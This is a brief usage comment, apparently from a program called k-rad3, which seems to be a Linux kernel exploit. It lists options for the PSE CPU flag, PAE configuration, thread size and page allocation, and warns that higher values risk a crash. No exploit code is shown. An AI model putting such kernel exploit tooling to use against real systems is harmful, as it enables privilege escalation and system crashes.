*Usage: ./k-rad3
* -s forced cpu flag pse
* -a define CONFIG_X86_PAE,default none
* -e <num> have two kernel code,default 0
* -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
* The higher number the more likely it will crash
* -t <num> default 0
* 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
